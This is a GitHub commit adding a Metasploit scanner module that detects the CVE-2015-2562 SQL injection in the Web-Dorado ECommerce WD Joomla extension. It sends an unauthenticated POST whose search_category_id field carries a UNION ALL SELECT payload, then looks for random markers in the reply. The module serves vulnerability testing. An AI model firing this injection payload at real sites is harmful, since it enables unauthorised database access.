Skip to content

Commit 613f477

Browse files
committed
Land rapid7#5024, add joomla_ecommercewd_sqli_scanner.rb
2 parents 2181c57 + 9f04832 commit 613f477

File tree

1 file changed

+90
-0
lines changed

1 file changed

+90
-0
lines changed
Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'uri'
7+
require 'msf/core'
8+
9+
class Metasploit4 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Auxiliary::Scanner
13+
include Msf::Auxiliary::Report
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Web-Dorado ECommerce WD for Joomla! search_category_id SQL Injection Scanner',
18+
'Description' => %q{
19+
This module will scan for hosts vulnerable to an unauthenticated SQL injection within the
20+
advanced search feature of the Web-Dorado ECommerce WD 1.2.5 and likely prior.
21+
},
22+
'Author' =>
23+
[
24+
'bperry'
25+
],
26+
'License' => MSF_LICENSE,
27+
'References' =>
28+
[
29+
['CVE', '2015-2562']
30+
],
31+
'DisclosureDate' => 'Mar 20 2015'))
32+
33+
register_options(
34+
[
35+
OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/'])
36+
], self.class)
37+
end
38+
39+
def run_host(ip)
40+
left_marker = Rex::Text.rand_text_alpha(5)
41+
right_marker = Rex::Text.rand_text_alpha(5)
42+
flag = Rex::Text.rand_text_alpha(5)
43+
44+
res = send_request_cgi({
45+
'uri' => normalize_uri(target_uri.path, 'index.php'),
46+
'method' => 'POST',
47+
'vars_get' => {
48+
'option' => 'com_ecommercewd',
49+
'controller' => 'products',
50+
'task' => 'displayproducts',
51+
'Itemid' => '-1'
52+
},
53+
'vars_post' => {
54+
'product_id' => '-1',
55+
'product_count' => '',
56+
'product_parameters_json' => '',
57+
'search_name' => '',
58+
'search_category_id' => "1) UNION ALL SELECT CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]})-- ",
59+
'filter_filters_opened' => '0',
60+
'filter_manufacturer_ids' => '1',
61+
'filter_price_from' => '',
62+
'filter_price_to' => '',
63+
'sort_by' => '',
64+
'sort_order' => 'asc',
65+
'pagination_limit_start' => '0',
66+
'pagination_limit' => '12'
67+
}
68+
})
69+
70+
unless res && res.body
71+
vprint_error("#{peer} - Server did not respond in an expected way")
72+
return
73+
end
74+
75+
result = res.body =~ /#{left_marker}#{flag}#{right_marker}/
76+
77+
if result
78+
print_good("#{peer} - Vulnerable to CVE-2015-2562 (search_category_id parameter SQL injection)")
79+
report_vuln({
80+
:host => rhost,
81+
:port => rport,
82+
:proto => 'tcp',
83+
:name => "Web-Dorado ECommerce WD search_category_id SQL injection",
84+
:refs => self.references.select { |ref| ref.ctx_val == "2015-2562" }
85+
})
86+
end
87+
88+
end
89+
90+
end

0 commit comments

Comments
 (0)